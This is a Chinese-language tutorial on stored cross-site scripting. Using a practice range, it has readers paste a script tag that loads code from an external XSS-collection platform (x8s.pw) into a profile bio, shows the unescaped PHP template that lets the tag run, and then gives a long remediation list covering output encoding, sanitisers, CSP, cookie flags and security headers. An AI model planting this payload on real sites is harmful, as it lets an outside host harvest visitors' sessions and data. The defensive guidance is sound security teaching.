首先 请出我们的 靶场 https://range.x8s.pw/
然后 注册我们平台 x8s.pw XSS平台
点击全部项目 创建项目
然后 模块选择默认模块
保存
得到 一段代码
<ScrIpt src=//x8S.Pw/GZD></scRiPT>
接下来 我们注册 靶场
这里我就不演示了 我注册好了
我们去 用户资料编辑
把得到代码 粘贴进去 保存 去首页
点击 切换演示模块 我们xss平台后台就会得到
原理 是什么
<?php if ($isUnsafe): ?> <!-- 明文输出:可能触发 XSS --> <td><?= $u['nickname'] ?></td> <td><?= $u['bio'] ?></td> <?php else: ?> <!-- 转义输出:安全 --> <td><?= e($u['nickname']) ?></td> <td><?= e($u['bio']) ?></td> <?php endif; ?>
我们这里 明文输出 输出结果为
<td>1</td> <td><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="88e5e4f0efd2f2f2c8b9babba6ebe7e5">[email protected]</a></td> <!-- 明文输出:可能触发 XSS --> <td><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><SCript sRc=//x8S.PW/UzCW5></ScRIpt></td> <td><SCript sRc=//x8S.PW/UzCW5></ScRIpt></td> <td>2025-08-24 13:25:42</td> </tr> </tbody>
这里 我们xss代码 被当作HTML 执行了
我这里采用的修复方案为 转义输出 当然 也可以在存储到数据库的时候进行转义
修复方案列表
1. 按场景输出编码(最核心)
规则:输入不可信,输出按场景编码。不要用“只过滤”替代“编码”
2. 富文本与可视化编辑内容
如必须呈现用户提交的富文本:强制白名单。前端/后端二选一或双端:
前端:DOMPurify(配置
ALLOWED_TAGS
,ALLOWED_ATTR
)。后端:HTMLPurifier(PHP),同样白名单配置。
禁止脚本相关属性:
on*
事件、javascript:
协议、style
中expression()
等。
3. 内容安全策略(CSP)快速落地
目标:减少 XSS 成功率,并逼迫前端逐步“无内联化”。
第一步(兼容期):允许自有域和 CDN,但用 nonce 管控内联脚本。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; script-src 'self' https://cdn.jsdelivr.net 'nonce-RANDOM'; base-uri 'self'; object-src 'none';
服务器在每个响应生成
nonce-RANDOM
,并在内联<script nonce="RANDOM">
上附同样值。渐进目标:移除内联脚本 →
script-src 'self' https://cdn.jsdelivr.net
(无'unsafe-inline'
/无 nonce)。若前端有大量动态拼接,结合 Trusted Types(现代浏览器)进一步约束 DOM 注入点。
4. 禁用危险 API 与接入点
后端模板:不用
<?= $var ?>
裸输出;统一封装e()
/escape()
。前端:禁用或审计
innerHTML
,outerHTML
,insertAdjacentHTML
,document.write
,Function
,eval
,setTimeout(string)
,setInterval(string)
。第三方库:优先
.text()
/textContent
,不要.html()
。Layui 表格单元格模板:对字符串做转义再放入模板;编辑器/富文本列走白名单清洗。
5. URL 与协议校验
仅允许
http:
,https:
,mailto:
,tel:
等白名单协议。
function safeUrl(u) { try { const url = new URL(u, location.origin); const allowed = ['http:', 'https:', 'mailto:', 'tel:']; if (!allowed.includes(url.protocol)) return '#'; return url.href; } catch { return '#'; } }
6. 表单、接口与验证
后端校验:长度、格式、类型白名单(邮箱、URL、数字等),超出拒绝或截断。
响应头统一:
Content-Type: text/html; charset=UTF-8
,确保htmlspecialchars(..., 'UTF-8')
有效。避免把用户输入再“回显原样” 到错误页/详情页;必要回显 → 按场景编码。
7. 会话与 Cookie 安全
Set-Cookie: sid=...; HttpOnly; Secure; SameSite=Lax
(或Strict
看业务)禁止通过 JS 读取敏感 Cookie/Token(
localStorage
/sessionStorage
不存机密)。
8. 框架/组件层面的配置建议
后端:统一封装
escape_html
,escape_attr
,escape_js
,escape_url
四类方法;代码审查时只允许它们出现在模板层。前端:对网络返回做集中渲染函数(只允许文本落地,HTML 必须走白名单清洗)。
9. 安全头部(搭配 CSP)
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
(按需裁剪)X-Frame-Options: DENY
或 CSP 中frame-ancestors 'none'
(看业务是否允许嵌入)
10. 上线前后自检清单
所有模板输出点查一遍:按场景编码✅
搜索禁用 API:
innerHTML|outerHTML|insertAdjacentHTML|document.write|eval|new Function
富文本路径:已启用 DOMPurify/HTMLPurifier 白名单✅
CSP 已部署,带 nonce;逐步消灭内联✅
Cookie 加
HttpOnly; Secure; SameSite
✅URL 协议白名单校验✅
扫描与回归:OWASP ZAP/Burp、关键页面 Fuzz✅